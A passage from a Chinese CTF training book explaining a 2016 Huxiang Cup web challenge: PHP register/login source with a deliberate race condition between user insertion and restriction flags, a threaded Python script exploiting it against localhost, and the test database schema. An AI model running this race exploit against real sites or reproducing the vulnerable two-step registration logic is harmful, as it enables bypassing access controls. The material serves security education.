CTF特训营:技术详解、解题方法与竞赛技巧
上QQ阅读APP看书,第一时间看更新

8.2 湖湘杯2016线上选拔赛Web实例

该题目通过备份文件的方式给出了源码,其中与解题相关的页面有两个,一个是注册页面register.php,一个是登录页面login.php,登录成功则会自动重定向到首页上。两个页面的源代码如下。

注册页面:


//register.php
<?php
include("connect.php");
$title = "AArt - Your home for ASCII Art";
include("header.html");
include("sidebar.php");
?>
<div class="flakes-content">
    <div class="view-wrap">
        <h1>注册</h1>
    </div>
<?php
if(isset($_POST['username'])){
    $username = mysqli_real_escape_string($conn, $_POST['username']);
    $password = mysqli_real_escape_string($conn, $_POST['password']);
    $sql = "INSERT into users (username, password) values ('$username', '$password');";
    mysqli_query($conn, $sql);
    $sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
    mysqli_query($conn, $sql);
?>
    <h2>注册成功!</h2>
<?php
} else {
?>
<div class="grid-1">
    <div class="span-1">
        <fieldset>
            <legend>账户</legend>
            <form action="register.php" method="post">
                <ul>
                    <li>
                        <label>用户名</label>
                        <input type="text" name="username">
                    </li>
                    <li>
                        <label>密码</label>
                        <input type="text" name="password">
                    </li>
                    <li><input type="submit"></li>
                </ul>
            </form>
        </fieldset>
    </div>
</div>
<?php
}
?>
</div>
<?php 
include("footer.html");
?>

登录页面:


//login.php
<?php
include("connect.php");
$title = "AArt - ASCII字符艺术之家";
include("header.html");
include("sidebar.php");
?>
<div class="flakes-content">
    <div class="view-wrap">
        <h1>登录</h1>
    </div>
<?php
if(isset($_POST['username'])){
    $username = mysqli_real_escape_string($conn, $_POST['username']);
    $sql = "SELECT * from users where username='$username';";
    $result = mysqli_query($conn, $sql);
    $row = $result->fetch_assoc();
    var_dump($_POST);
    var_dump($row);
    if($_POST['username'] === $row['username'] and $_POST['password'] === $row['password']){
?>
<h1>Logged in as <?php echo($username);?></h1>
<?php
$uid = $row['id'];
$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
$result = mysqli_query($conn, $sql);
$row = $result->fetch_assoc();
if($row['isRestricted']){
?>
    <h2>此账户限制登录</h2>
<?php
}else{
?>
    <h2><?php include('../flag');?></h2>
<?php
}
?>
    <h2>成功!</h2>
<?php
    }
} else {
?>
<div class="grid-1">
    <div class="span-1">
        <fieldset>
            <legend>账户</legend>
            <form action="login.php" method="post">
                <ul>
                    <li>
                        <label>用户名</label>
                        <input type="text" name="username">
                    </li>
                    <li>
                        <label>密码</label>
                        <input type="text" name="password">
                    </li>
                    <li><input type="submit" value="Login"></li>
                </ul>
            </form>
        </fieldset>
    </div>
</div>
<?php
}
?>
</div>
<?php
include("footer.html");
?>

分析login.php的代码可以了解到,只要满足$row['isRestricted']不为真或没有返回值(即查询为空),就能获取到flag。再来看看register.php的关键部分:


$sql = "INSERT into users (username, password) values ('$username', '$password');";
mysqli_query($conn, $sql);
$sql = "INSERT into privs (userid, isRestricted) values ((select users.id from users where username='$username'), TRUE);";
mysqli_query($conn, $sql);

注册时的逻辑是先向users表中插入用户和密码,再向privs表中插入权限信息,所以两次数据库操作存在时间差。当我们在插入用户密码,但是还没有插入权限信息时登录,就能够获得flag了。

所以,同样的测试代码如下:

#题目与代码来源:https://github.com/iAklis/changelog-story


import requests
import string
import re
import random
import threading

url_register = "http://127.0.0.1:8000/register.php"
url_login = "http://127.0.0.1:8000/login.php"

def register(data):
    requests.post(url_register, data=data)

def login(data):
    S = requests.Session()
    R = S.post(url_login, data=data)
    content = R.content
    if 'flag' in content:
           print content

def main():
  while True:
      username = 'test' + '' .join(random.choice(string.ascii_letters) for i in range(5))
      password = '123'
      data = { 'username' : username, 'password' : password}
      t1 = threading.Thread(target=register, args=(data,))
      t2 = threading.Thread(target=login, args=(data,))
      t1.start()
      t2.start()

      t1.join()
      t2.join()

if __name__ == '__main__':
  import sys
  sys.exit(int(main() or 0))

最后附上数据库的结构,以便大家自己测试:


CREATE database if not exists aart;
USE aart;
DROP TABLE art;
CREATE TABLE art
(
    id INT PRIMARY KEY AUTO_INCREMENT,
    title TEXT,
    art TEXT,
    userid INT,
    karma INT DEFAULT 0
);

DROP TABLE users;
CREATE TABLE users
(
    id INT PRIMARY KEY AUTO_INCREMENT,
    username TEXT,
    password TEXT
);

DROP TABLE privs;
CREATE TABLE privs
(
    userid INT PRIMARY KEY,
    isRestricted BOOL
);